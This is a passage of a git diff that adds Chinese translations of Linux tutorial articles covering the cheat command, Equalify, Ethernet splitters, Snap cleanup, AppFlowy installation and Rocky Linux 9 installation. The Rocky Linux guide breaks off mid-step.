并将它放在某个 [路径][6] 中,例如 `~/.local/bin/` 或 `/usr/local/bin` 中。若安装 Bash 版本,下载最新版并运行 `install-cheat.sh` 脚本: + +``` +$ sh ./install-cheat.sh +``` + +如需配置后安装,请使用 [自动工具][7](Autotools): + +``` +$ aclocal ; autoconf +$ automake --add-missing ; autoreconf +$ ./configure --prefix=$HOME/.local +$ make +$ make install +``` + +### 在 Linux 中安装 Cheat 程序 + +Cheat 只是包含常用命令的纯文本文件。该程序可以从 [github.com/cheat/cheatsheets][8] 获得。当你第一次运行命令时,Go 版本会自动为你下载支持列表。如果你使用 Bash 版本,用 `--fetch` 选项可以下载支持列表: + +``` +$ cheat --fetch +``` + +与 `man` 一样,你的系统上可以有多个备忘单集合。 Go 版本的 `cheat` 使用 [YAML][9] 配置文件来定义每个集合的位置。Bash 版本在安装过程中定义了路径,默认下载 [github.com/cheat/cheatsheets][10] 集合以及 [opensource.com][11] 自己的 [gitlab.com/opensource.com/cheatsheets][12] 集合。 + +### 列出 Cheat 支持项目 + +使用 `--list` 选项即可查看 `cheat` 支持的项目: + +``` +$ cheat --list +7z +ab +acl +alias +ansi +ansible +ansible-galaxy +ansible-vault +apk +[...] +``` + +### 使用 Cheat 查看 Linux 命令 + +使用 `cheat` 查看命令如同使用 `man` 和 `info` 查看一样简单。只需要输入你需要查询的命令即可: + +``` +$ cheat alias + +# To show a list of your current shell aliases: +alias + +# To alias `ls -l` to `ll`: +alias ll='ls -l' +``` + +默认情况下,`cheat` 命令会使用你的 [环境变量][13] `PAGER` 中指定的分页器。你可以在运行 `cheat` 命令前改写 `PAGER` 变量值,暂时修改环境变量。 + +``` +$ PAGER=most cheat less +``` + +如果你只是想在没有 `PAGER` 的情况下将 `cheat` [输出][14] 到终端里,在 Bash 版中有 `--cat` 选项可以使用: + +``` +$ cheat --cat less +``` + +### 这并不是作弊 + +`cheat` 系统抓住了要害,你不必拼凑有关如何使用命令的线索,你只需按照示例进行操作即可。当然,对于复杂的命令,它不是深入研究实际文档的捷径,但为了快速借用,它还是可以的。 + +甚至你可以通过将文件放入其中一个备忘单集合中,来创建自己的备忘单。好消息是,因为这些项目是开源的,所以你可以将你的个人备忘单贡献给 GitHub 集合。另一个好消息是,当有新的 opensource.com [备忘单][15] 版本发布时,我们将从现在开始包含纯文本版本,以便你可以将其添加到你的收藏中。 + +该命令称为 “作弊cheat”,但正如任何 Linux 用户都会向你保证的那样,它实际上并不是作弊。它只是以开源的方式工作得更巧妙。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/linux-cheat-command + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/command_line_prompt.png +[2]: https://opensource.com/article/17/7/how-unzip-targz-file +[3]: https://github.com/cheat/cheat +[4]: https://gitlab.com/slackermedia/cheat +[5]: https://github.com/cheat/cheat/releases +[6]: https://opensource.com/article/17/6/set-path-linux +[7]: https://opensource.com/article/19/7/introduction-gnu-autotools +[8]: https://github.com/cheat/cheatsheets +[9]: https://opensource.com/article/21/9/yaml-cheat-sheet +[10]: https://github.com/cheat/cheatsheets +[11]: http://Opensource.com +[12]: https://gitlab.com/opensource.com/cheatsheets +[13]: https://opensource.com/article/19/8/what-are-environment-variables +[14]: https://opensource.com/article/19/2/getting-started-cat-command +[15]: https://opensource.com/downloads diff --git a/published/202208/20220626 An open source project that opens the internet for all.md b/published/202208/20220626 An open source project that opens the internet for all.md new file mode 100644 index 0000000000..f63538723f --- /dev/null +++ b/published/202208/20220626 An open source project that opens the internet for all.md @@ -0,0 +1,59 @@ +[#]: subject: "An open source project that opens the internet for all" +[#]: via: "https://opensource.com/article/22/6/equalify-open-internet-accessibility" +[#]: author: "Blake Bertuccelli https://opensource.com/users/blake" +[#]: collector: "lkxed" +[#]: translator: "yjacks" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14905-1.html" + +Equalify:让每一个人都可以无障碍访问互联网 +====== + +> Equalify 是一个为了让互联网更易于使用的开源项目。 + +![](https://img.linux.net.cn/data/attachment/album/202208/07/114828xkk55krbsprkx7kk.jpg) + +无障碍访问Accessibility 是一把促进社会更加开放的的钥匙。 + +我们在网上学习,我们在网上花钱,也在网上吵吵嚷嚷。更重要的是,我们在网上获取的信息激励我们创造一个更好的世界。当我们忽视无障碍访问的要求时,出生时失去光明,或在战争中失去四肢的人们都将只能被阻挡在他人可以享受的网上信息之外。 + +*我们必须确保每个人都有通往开放互联网的通道*,而我正在通过开发 [Equalify][2],为实现这一目标而努力。 + +### 什么是 Equalify? + +Equalify 是“无障碍访问平台”。 + +这个平台允许使用者们对数以千计的网站进行多种无障碍访问的扫描。通过使用我们的最新版本,用户还可以过滤无数的警告,创建一个对他们来说有意义的统计仪表盘。 + +这个项目才刚刚开始。Equalify 的目的是开源像 SiteImprove 这样的昂贵服务所提供的各种收费服务。有了更好的工具,我们可以确保互联网更容易访问、我们的社会更开放。 + +### 如何判断网站的无障碍访问? + +W3C 的网络无障碍访问组织发布了《网络内容无障碍访问指南(WCAG)》,为无障碍访问设定了标准。Equalify 和包括美国联邦政府在内的其它机构,都使用 WCAG 来定义网站的无障碍访问。我们扫描的的网站越多,我们就越能了解 WCAG 标准的不足和潜力。 + +### 如何使用 Equalify? + +花点时间查看一下我们的 GitHub,这样你能更多的了解这个产品。[README][3] 提供了如何开始支持和使用 Equalify 的分步教程。 + +### 我们的目标 + +我们的最终目标是让开放的互联网更易于使用。根据 [The WebAIM Million][4] 的数据,96.8% 的网站主页不满足 WCAG 标准。随着越来越多的人们开发和使用 Equalify,我们将与有障碍的页面斗争。每个人都应该有平等的机会进入开放的互联网。在我们朝着为所有人建设一个更强大、更开放的社会而努力时,Equalify 也正在朝着这个目标努力。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/equalify-open-internet-accessibility + +作者:[Blake Bertuccelli][a] +选题:[lkxed][b] +译者:[yjacks](https://github.com/yjacks) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/blake +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/2022-06/plumeria-frangipani-bernard-spragg.jpg +[2]: https://equalify.app/ +[3]: https://github.com/bbertucc/equalify +[4]: https://webaim.org/projects/million/ diff --git a/published/202208/20220716 Does an Ethernet splitter slow down speed-.md b/published/202208/20220716 Does an Ethernet splitter slow down speed-.md new file mode 100644 index 0000000000..fd3d0fc56c --- /dev/null +++ b/published/202208/20220716 Does an Ethernet splitter slow down speed-.md @@ -0,0 +1,104 @@ +[#]: subject: "Does an Ethernet splitter slow down speed?" +[#]: via: "https://www.debugpoint.com/ethernet-splitter-speed/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "Yufei-Yan" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14915-1.html" + +以太网分离器会降低网速吗? +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/10/104845ishhhse3meqzuamd.jpg) + +> 这篇文章详细总结了以太网分离器,以及它们的速度,还有各种常见问题等信息,来帮助你选择最合适的硬件。 + +交换机Switch集线器Hub,还有以太网分离器Ethernet Splitter 是用来帮助扩展网络的网络设备。这其中,最基础的设备就是小巧的以太网分离器了。它们是一种小型设备,可以将一个以太网信号分成两个。它们简单易用,并且还便宜。这可以算是最简单的网络设备之一了,因为它们不需要提供电源,也没有特定的按键或者 LED 灯来提示状态。只是在一个小设备上有三个以太网端口,其中两个在一侧,另一个在另一侧。有些品种是在一侧有带着一小段 [RJ45][1] 接口的网线,另一侧是两个以太网端口。 + +尽管在网络世界中,分离器已经存在了相当长一段时间了,很多人还是不知道如何有效使用它们。与普遍的看法相反的是,以太网分离器应该总是成对购买。直接把分离器的一端和路由器连接,再把两个设备与分离器的两个端口连接,这样是不行的。想让分离器在网络中正常工作,是有一个正确的设置技巧的。 + +### 如何使用以太网分离器进行一个基本的设置 + +要让不同房间的两个设备连接到主信号源,以太网分离器是非常方便的。大多数情况下,它们可以节约网线、墙上的网络插座,并提供了可靠的连接。就像之前说的,以太网分离器是成对出售的。一个分离器将来自设备(通常是路由器)上的信号合并,然后另一个把信号分成两个信道,这样就可以让两个设备通信了。 + +路由器在房间 A,两个 PC 在房间 B,但是每个房间的墙上只有一个以太网插座。这种情况下,就需要一个分离器,两条网线连到路由器上,网线的另外一端连到分离器上,然后分离器的另一端连到房间 A 墙上的接口。这样路由器的两个信号就合并到一起了。接下来,另一个分离器只有一个端口的那一端接到房间 B 墙上的接口上。从房间 A 合并的信号现在就会分成两个,这样在房间 B 里面,你就可以有两个以太网端口了。 + +分离器的优势是它可以大量减少墙上的接口,也会大量减少你这种情况下所需的网线。它会帮你避免“网线地狱”,因为这样会将所需要的端口/网线降低两倍。 + +![sample diagram using ethernet splitter][2] + +### 以太网分离器会降低网速吗? + +网络连接会变慢吗?这可能是你想到的常见问题之一。好吧,答案取决于你的网络类型。理想情况下,分离器是 BASE-T 标准,也就是快速以太网Fast Ethernet。它们可以支持高达 Mbps 级的速度。 + +如果分离器在一个 100Mbps 的网络中使用,答案是否定的,它是不会降低网速的。然而,如果你的路由器可以提供 1Gbps 传输速率,然后你在中间用了一个分离器,那么带宽将被限制在 100Mbps。这种情况下,分离器确实会限制速度,连接会变慢。 + +### 以太网分离器的优势和劣势 + +以太网分离器在一些情况下很有用,但是它们也有一些缺点。首先,每个以太网端口只能提供最高 100Mbps 的速度。因为这个限制,网络中能够提供高于 100Mbps 的资源就不能被合理优化了。另外,因为你能连接的设备数量被限制在两个,如果你有两个以上的设备,以太网分离器并不是最佳选择。 + +此外,如果路由器只剩下一个以太网端口,使用分离器是不现实的;这时候就只能做一些牺牲了。然后,尽管它们可以减少把两个网络合并所需要的网线,这种方式需要两个分离器才能工作。 + +另一方面,以太网分离器也有一些优势。它们比起传统的网络设备要便宜,也不需要复杂的设置。不像其他网络设备,它们也不需要软件和其他配置。在设备不多的家庭网络中,比如说一个房间最多两个设备,以太网分离器是一个很好的选择。如果你只需要 100Mbps 的网络,只有两个设备要连接,以太网分离器是最好的选项。 + +以太网分离器出现已经很长时间了,但是由于非常简单,也没有太多可以改进的空间。它们仍然是基于过时的 快速以太网Fast Ethernet 标准,这也许和今天高速网络的需求有点格格不入。尽管有它们的优势,大多数情况下,它们还真不是一个现实的解决方案。随着现在技术的进步,以太网分离器的前景依然光明。也许某个天才可以让它用在 千兆以太网Gigabit Ethernet 标准上。 + +现在你已经对以太网分离器有一些了解了,下面是一些常见问题(FAQ)。 + +### 常见问题 + +#### 可以把一条以太网线分到两个设备上吗? + +如果你想把一条以太网线分到两个设备上,这是很正常的想法。然而,这就需要买一个以太网线共享分离套件。分离器套件可以让多个设备同时使用同一条网线。如果你想把 PC 和笔记本,或者 PC 和游戏主机,同时连到同一个网线上,这是个不错的选择。 + +说到连接速度,以太网线会超过其他连接方式。当有些东西需要快速连接,比如说游戏,以太网线通常都是最好的选择。 + +需要指出的是,你不能用一个网线连接两个设备,因为它们只是为一个设备而设计的,这也就是为什么你需要一个以太网分离器。它会连到一个已有的网线上,然后为两个设备提供连接。 + +#### 我怎么把两个设备连到一个以太网端口? + +两个设备可以连到一个以太网端口。然而,就像之前说的,你需要使用网线共享套件。这是因为每个以太网连接是为一个单个设备设计的。 + +有了以太网线共享套件,你就可以给一个以太网端口连上多个设备了,这对于家庭网络来说是非常方便的。如果你有不多的几个以太网连接可用,然后需要很多的 LAN 连接,这肯定有用。 + +还需要说的一点是,如果你有多余的以太网端口可用,如果是这种情况,最好的选择是给每个设备分配一个端口。当这种情况不行的时候,网线共享套件或者分离器是一个完美的备选方案。 + +#### 以太网分离器和交换机有什么区别? + +以太网分离器和交换机工作起来差不多,但是从根本上是不同的。以太网分离器可以在同一根以太网线上运行两个独立的连接。然而,这最多就是两个连接。如果你只想要一个另外的设备连到这个以太网上,这是个不错的选择。但是,再有其他设备就不行了。 + +如果你想往一个以太网连接上连很多个设备,就需要买一个以太网交换机。除了可以允许多于两个设备连接外,交换机和以太网分离器相似。如果有很多要连接的设备,但是只有几个以太网端口,交换机是非常方便的,比如说你正在连接很多设备到 LAN。 + +虽然它们支持堆叠,但需要记住的是,它们也需要供电。交换机和分离器的另一个不同是,分离器不要供电,可以直接连到以太网端口。 + +#### 我需要以太网交换机还是分离器? + +你要连接的设备的数量决定了是需要一个交换机还是分离器。如果只需要连两个设备,可以用以太网分离器,也不用给他供电。 + +相反的,如果需要连几个设备,以太网交换机是一个理想的解决方案。它可以连接几个设备到同一个以太网端口,但是它需要供电。 + +我希望这篇指南能帮你了解以太网分离器以及如果使用它们。从网上可以以很低的价格买到。然而,如果需要超过 100Mbps 的速度,也许你需要给你的网络配置一下线路。 + +[这篇文章是我们硬件指南的一部分。][5] + +*Featured Photo by Jainath Ponnala on Unsplash* + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/ethernet-splitter-speed/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[MCGA](https://github.com/Yufei-Yan) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://en.wikipedia.org/wiki/Registered_jack +[2]: https://www.debugpoint.com/wp-content/uploads/2021/10/sample-diagram-using-ethernet-splitter-1024x896.jpg +[3]: https://en.wikipedia.org/wiki/Fast_Ethernet +[4]: https://en.wikipedia.org/wiki/Gigabit_Ethernet +[5]: https://www.debugpoint.com/category/hardware diff --git a/published/202208/20220716 How to Clean Up Snap Versions to Free Up Disk Space.md b/published/202208/20220716 How to Clean Up Snap Versions to Free Up Disk Space.md new file mode 100644 index 0000000000..22831f875e --- /dev/null +++ b/published/202208/20220716 How to Clean Up Snap Versions to Free Up Disk Space.md @@ -0,0 +1,108 @@ +[#]: subject: "How to Clean Up Snap Versions to Free Up Disk Space" +[#]: via: "https://www.debugpoint.com/clean-up-snap/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14904-1.html" + +如何清理 Snap 保留的旧软件包以释放磁盘空间 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/07/105824nyac4m66a6886x6q.jpg) + +> 这个带有脚本的快速指南有助于清理旧的 Snap 软件包,并释放 Ubuntu 系统中的一些磁盘空间。 + +我的 Ubuntu 测试系统中出现磁盘空间不足。因此,我通过 GNOME 的磁盘使用分析器进行调查,以找出哪个软件包正在消耗宝贵的 SSD 空间。除了通常的缓存和主目录,令我惊讶的是,我发现 Snap 和 Flatpak 消耗了大量的存储空间。 + +![Snap size – before cleanup][1] + +我始终坚持一个规则:除非必要,否则不要使用 Snap 或 Flatpak。这主要是因为它们的安装大小和一些其他问题。我更喜欢原生 deb 和 rpm 包。多年来,我在这个测试系统中安装和移除了一些 Snap 包。 + +问题出现在卸载后。Snap 在系统中保留了一些残留文件,而一般用户不知道。 + +所以我打开了 Snap 文件夹 `/var/lib/snapd/snaps`,发现 Snap 会保留以前安装/卸载的软件包的旧版本。 + +例如,在下图中,你可以看到 GNOME 3.28、3.34 和 Wine 这些都被删除了。但它们还在那里。这是因为 Snap 设计上在正确卸载后保留已卸载软件包的版本。 + +![Files under snaps directory][2] + +或者,你可以在终端中使用: + +``` +snap list --all +``` + +![snap list all][3] + +对于保留的版本数量,默认值为 3。这意味着 Snap 会保留每个软件包的 3 个旧版本,包括当前安装版本。如果你对磁盘空间没有限制,这是可以的。 + +但是对于服务器和其他场景,这很容易遇到成本问题,消耗你的磁盘空间。 + +不过,你可以使用以下命令轻松修改计数。该值可以在 2 到 20 之间。 + +``` +sudo snap set system refresh.retain=2 +``` + +### 清理 Snap 版本 + +在 SuperUser 的一篇文章中,Canonical 的前工程经理 Popey [提供了一个简单的脚本][4] 可以清理旧的 Snap 版本并保留最新版本。 + +这是我们将用来清理 Snap 的脚本。 + +``` +#!/bin/bash + #Removes old revisions of snaps + #CLOSE ALL SNAPS BEFORE RUNNING THIS + set -eu + LANG=en_US.UTF-8 snap list --all | awk '/disabled/{print $1, $3}' | + while read snapname revision; do + snap remove "$snapname" --revision="$revision" + done +``` + +将上述脚本以 .sh 格式保存在目录中(例如 `clean_snap.sh`),赋予其可执行权限并运行。 + +``` +chmod +x clean_snap.sh +``` + +当我运行脚本时,它减少了很多磁盘空间。该脚本还将显示要删除的包的名称。 + +![Executing the script][5] + +![Snaps size after cleanup][6] + +### 结束语 + +关于 Snap 的设计效率如何,人们总是争论不休。许多人说,它的设计是糟糕的,是臃肿的,且消耗系统资源。该论点的某些部分是正确的,我不会否认。如果正确实施和增强,沙盒应用的整个概念就很棒。我相信,与 Snap 相比,Flatpak 做得更好。 + +也就是说,我希望这可以帮助你清理一些磁盘空间。尽管它只在 Ubuntu 中进行了测试,但它应该适用于所有支持 Snap 的 Linux 发行版。 + +此外,请查看我们关于 [如何清理 Ubuntu][7] 的指南以及其他步骤。 + +最后,如果你正在寻找清理 **Flatpak** 应用,请参阅 [这个指南][8]。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/clean-up-snap/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2021/03/Snap-size-before-cleanup.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2021/03/Files-under-snaps-directory.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2021/03/snap-list-all.jpg +[4]: https://superuser.com/a/1330590 +[5]: https://www.debugpoint.com/wp-content/uploads/2021/03/Executing-the-script.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2021/03/Snaps-size-after-cleanup.jpg +[7]: https://www.debugpoint.com/2018/07/4-simple-steps-clean-ubuntu-system-linux/ +[8]: https://www.debugpoint.com/clean-up-flatpak/ diff --git a/published/202208/20220718 AppFlowy- An Open-Source Alternative to Notion.md b/published/202208/20220718 AppFlowy- An Open-Source Alternative to Notion.md new file mode 100644 index 0000000000..3775e83c7f --- /dev/null +++ b/published/202208/20220718 AppFlowy- An Open-Source Alternative to Notion.md @@ -0,0 +1,167 @@ +[#]: subject: "AppFlowy: An Open-Source Alternative to Notion" +[#]: via: "https://itsfoss.com/appflowy/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14888-1.html" + +AppFlowy:Notion 的开源替代品 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/02/102316f1g6p369uyeeybgo.jpg) + +> AppFlowy 旨在成为 Notion 的开源替代品,为你提供更好的隐私保护。让我们了解一下它。 + +虽然项目管理/笔记工具 Notion 功能非常出色,但它并不是一个开源解决方案。此外,它没有 Linux 桌面客户端。 + +那么,对于 Linux 用户来说,更透明、更私密和可用的替代方案是什么? + +这就是 AppFlowy 大放异彩的地方! + +AppFlowy 使用 Rust 和 Flutter 构建,遵循极简原则,但提供了足够的调整空间。 + +### AppFlowy 是隐私和用户体验的完美结合 + +![appflowy][1] + +AppFlowy 是相当新的。在它去年首次推出后,我们曾 [报告][2] 了它的发展状况。 + +这是一个开源项目,旨在克服 [Notion][3] 在安全和隐私方面的一些限制。它可以帮助你管理任务、添加待办事项列表、截止日期、跟踪事件、添加页面,以及为你的笔记/任务设置文本格式。 + +不仅仅是安全性。用户体验也很重要。而 AppFlowy 在这方面做得很好,甚至比 Notion 更好。 + +请注意,该项目仍处于 **测试阶段**。 + +目前,该项目的目标不是提供更好的设计和功能,而是数据隐私、原生体验和社区驱动。 + +### Notion 与 AppFlowy,如何选择? + +虽然它旨在作为取代 Notion 的开源解决方案,但它可能并不适合所有人。 + +因此,如果你要选择 AppFlowy 而不是 Notion,你将获得以下好处: + +#### 透明度 + +AppFlowy 是一个开源项目,因此你可以随时查看和修改代码。 + +#### 隐私 + +作为闭源软件,Notion 可以直接访问你在云中的私有数据。与之相比,你可以根据自己的喜好自行托管 AppFlowy。 + +你的所有个人数据都将保留在你身边,你可以完全控制它。开发人员还提到他们正在使用离线模式来更好的支持本地安装。 + +#### 性能和原生体验 + +AppFlowy 使用 Rust 和 Flutter 构建,在提供现代用户体验的同时将性能置于优先位置。 + +不仅限于此,你还可以在 Linux 上获得良好的原生体验,这是 Notion 所没有的。 + +### AppFlowy 的功能 + +![appflowy screenshot 1][4] + +AppFlowy 在功能方面可能并不优越,但它确实提供了基本的功能。 + +随着开发的继续,你可以期待它会添加更多的功能。一些现有的功能包括: + +* 原生的跨平台支持。 +* 能够自行托管或将其安装在你的本地计算机上。 +* 可定制。 +* 数据隐私(重中之重)。 +* 单一代码库,便于更好地维护。 +* 社区驱动的可扩展性。 +* 简约的用户界面。 +* 可以添加待办事项、管理任务。 +* 文本高亮和基本的格式化。 +* 用于编辑单元格/网格的键盘快捷键。 +* 支持深色模式。 + +#### 在 Linux 上安装 AppFlowy + +由于它仍处于测试阶段,在默认仓库中还不可用,并且没有维护任何 PPA,也没有 Flatpak/Snap 包。 + +但是,你可以通过给定的命令轻松安装 AppFlowy(仅在 Ubuntu 20.04 LTS 和 Arch X86_64 上测试过): + +``` +wget https://github.com/AppFlowy-IO/AppFlowy/releases/download/0.0.4/AppFlowy-linux-x86.tar.gz +tar -xzvf AppFlowy-linux-x86.tar.gz +cd AppFlowy +``` + +要运行 AppFlowy,请使用该命令: + +``` +./app_flowy +``` + +要在你的系统菜单中注册 AppFlowy,你必须执行以下附加步骤: + +首先,你必须更改 AppFlowy 徽标的默认名称: + +``` +mv flowy_logo.svg app_flowy.svg +``` + +现在,你必须将 Linux 桌面文件模板复制为正式的 Linux 桌面文件。 + +``` +cp appflowy.desktop.temp app_flowy.desktop +``` + +然后对配置文件进行一些更改。 + +``` +sudo nano appflowy.desktop +``` + +在这里,你必须将 `[CHANGE_THIS]` 替换为图标和可执行文件的对应路径。 + +![add location of icon and exec file][5] + +使用 `CTRL + O` 保存更改并使用 `CTRL + X` 退出。 + +最后,移动桌面文件,以便你的系统可以读取它。 + +``` +mv app_flowy.desktop ~/.local/share/applications/. +``` + +它应该是这样的: + +![appflowy in system menu][6] + +无论哪种情况,你都可以查看 AppFlowy 的 [官方文档][7] 以从源代码构建它。在其官方网站上了解更多关于它的信息。 + +> **[AppFlowy][8]** + +### 总结 + +如果你需要具有原生 Linux 体验的简单的类 Notion 应用,AppFlowy 是一个有趣的选择。 + +考虑到它正在积极开发中,并且远非 Notion 的完全替代品,肯定会出现一些错误/问题。 + +作为 Notion 的开源替代品?它可以的!你可以使用它来管理任务、添加笔记和制作待办事项列表。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/appflowy/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/07/AppFlowy.png +[2]: https://news.itsfoss.com/appflowy-development/ +[3]: https://www.notion.so/ +[4]: https://itsfoss.com/wp-content/uploads/2022/07/appflowy-screenshot-1.png +[5]: https://itsfoss.com/wp-content/uploads/2022/07/Add-location-of-icon-and-exec-file-800x524.png +[6]: https://itsfoss.com/wp-content/uploads/2022/07/AppFlowy-in-System-menu-1.png +[7]: https://appflowy.gitbook.io/docs/essential-documentation/contribute-to-appflowy/software-contributions/environment-setup/building-on-linux +[8]: https://www.appflowy.io/ diff --git a/published/202208/20220718 How to Install Rocky Linux 9 Step by Step with Screenshots.md b/published/202208/20220718 How to Install Rocky Linux 9 Step by Step with Screenshots.md new file mode 100644 index 0000000000..077a9f1326 --- /dev/null +++ b/published/202208/20220718 How to Install Rocky Linux 9 Step by Step with Screenshots.md @@ -0,0 +1,216 @@ +[#]: subject: "How to Install Rocky Linux 9 Step by Step with Screenshots" +[#]: via: "https://www.linuxtechi.com/how-to-install-rocky-linux-9-step-by-step/" +[#]: author: "Pradeep Kumar https://www.linuxtechi.com/author/pradeep/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14909-1.html" + +图解 Rocky Linux 9 安装步骤 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/08/172822s7zwhj7wuzzjfm25.jpg) + +> 这篇教程中,我们将图解 Rocky Linux 9 安装步骤。 + +Rocky 企业软件基金会Rocky Enterprise Software Foundation 已经发布了它的最新的操作系统 “Rocky Linux 9”。Rocky Linux 是针对工作站和服务器的自由而开源的操作系统。它被认为是 CentOS Linux 的继承者。 + +Rocky Linux 9 是 RHEL 9 的复制品,其开发代号是“Blue Onyx”。Rocky Linux 和 RHEL 之间的主要不同是,它有它自己的名为 “Peridot” 的开源构建系统。 + +### Rocky Linux 9 的更新和特色 + +* Gnome 40 是默认的桌面环境 +* 在 XFS 文件系统上支持直接访问Direct Access(DAX)操作 +* 更新了运行时和编译器,如 GCC 11.2.1 、LLVM 13.0.1 、Rust 1.58.1 和 Go 1.17.1 +* 更新了开发工具链,如 Python 3.9 、Node.js 16 、Ruby 3.0.3 、Perl 5.32 和 PHP 8.0 +* ssh 默认禁用了 root 用户身份验证 +* 更新了 OpenSSL 3.0,改进了 Cockpit 网页主控台 +* 社区提供支持到 2032 年 05 月 31 日 + +### 前置条件 + +* 2 GB 及更多的内存 +* 2 个 CPU 核心(1.1 GHz 及更高) +* 20 GB 硬盘空间 +* 可启动介质(USD 或 DVD) +* 互联网连接(可选) + +不再耽误时间,让我们直接进入 Rocky Linux 9 的安装步骤: + +### 1、下载 Rocky Linux 9 的 ISO 文件 + +使用下面的官方网址来下载 ISO 文件 + +> **[Rocky Linux 9 ISO][1]** + +在你下载 ISO 文件后,使用已下载的 ISO 文件制作一个可启动介质(USB/DVD)。 + +在 Windows 中,你可以利用 Rufus 软件来使用 ISO 文件来制作可启动 USB 驱动器。在 Linux 中,参考下面的内容: + +> **[在 Ubuntu / Linux Mint 上,如何创建可启动 USB 驱动器][2]** + +### 2、使用可启动媒介盘启动系统 + +在你计划安装 Rocky Linux 9 的硬件系统上,BIOS 设置中将可启动介质从硬盘驱动器更改为 USB 驱动器, 重新启动它。 + +在硬件系统使用可启动介质启动后,我们将看到下面的屏幕, + +![Select-Install-Rocky-Linux-9-option][3] + +选择第一个选项, 安装 Rocky Linux 9.0Install Rocky Linux 9.0 ,并按下 回车enter 按键。 + +### 3、选择首选语言 + +选择**安装过程**的首选语言,然后单击 继续Continue 按钮, + +![Preferred-Language-for-RockyLinux9-Installation][4] + +### 4、安装过程摘要 + +在这个步骤中,我们将看到如下的初始安装摘要。要开始安装,首先,我们必须完成标记项目,如 安装目标Installation Destination用户设置User settings。 + +除了已标记的项目外,我们也可以更改现有的项目,只需要按照你的要求单击它们就可以进行更改。 + +![Initial-Installation-Summary-Rocky-Linux9][5] + +#### 配置安装目标 + +在这个项目中,我们将为 Rocky Linux 具体指定分区方案。单击 安装目标Installation Destination。 + +在这里,我们可以为 存储配置storage configuration分区方案partition scheme 选择 自动automatic 选项或 自定义custom 选项。 + +在自动选项中,安装程序将在磁盘上自动地创建分区,而自定义选项允许我们在磁盘上手动创建分区。 + +![Choose-custom-Storage-Configuration-Rocky-Linux9][6] + +在这篇指南中,我将使用 自定义Custom 选项,单击 执行Done 按钮。 + +![Standard-Partition-Scheme-RockyLinux9][7] + +在该 40 GB 的磁盘上,我们将创建以下分区, + +* `/boot`:2GB(xfs 文件系统) +* `/`:10 GB(xfs 文件系统) +* `/home`:25 GB(xfs 文件系统) +* 交换分区:2 GB + +开始创建分区,选择 标准分区Standard Partition 方案,然后单击 “+” 符号。 + +创建第一个分区,大小为 2 GB 的 `/boot` 分区, + +![Boot-Partition-RockyLinux9-Installation][8] + +单击 添加挂载点Add mount point 按钮。 + +类似地,接下来分别创建大小为 10 GB 的 `/` 分区和 25 GB 的 `/home` 分区。 + +![Slash-Partition-Rocky-Linux9-installation][9] + +![Home-Partition-Rocky-Linux9-Installation][10] + +现在,创建最后一个分区,大小为 2 GB 的交换分区,(LCTT 校注:如果你的内存非常多,你可以选择不创建交换分区。另外,对于生产环境,建议将存储数据的目录单独划分分区。) + +![Swap-Partition-RockyLinux9-Installation][11] + +在你完成手动分区后,单击 执行Done 按钮来完成这个项目。 + +![Finish-Manual-Partitioning-RockyLinux9-Installation][12] + +选择 接受更改Accept Changes 按钮来将这些更改写入磁盘。它也将返回到安装摘要屏幕。 + +![Accept-Changes-to-Write-on-Disk-RockyLinux9][13] + +#### 配置用户设置 + +在 用户设置User Settings 下,单击 root 密码 Root Password 按钮。 + +![Set-Root-Password-RockyLinux9-Instalation][14] + +设置 root 